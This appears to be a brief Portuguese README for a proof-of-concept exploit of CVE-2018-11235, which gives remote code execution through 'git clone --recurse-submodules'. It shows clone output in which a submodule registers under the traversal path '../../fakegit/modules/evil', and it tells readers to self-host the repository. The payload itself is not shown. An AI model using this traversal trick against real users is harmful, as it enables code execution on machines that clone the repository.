
Exploit de PoC para CVE-2018-11235 permitindo RCE em git clone --recurse-submodules
repository: http://REDACTED/2018-11235_PoC.git/
return:
Submodule 'aaa' (https://repo1) registered for path 'aaa'
Submodule '../../fakegit/modules/evil' (https://repo2) registered for path 'evil'
Submodule path 'aaa': checked out '9c48e0a785dec84cb252677a8a7d55feaeac056c'
Submodule path 'evil': checked out '9c48e0a785dec84cb252677a8a7d55feaeac056c'
Como o GitHub me impede de fazer upload do PoC, você terá que hospedar seu próprio repositório. Consegui isso criando um repositório local usando git init . --bare.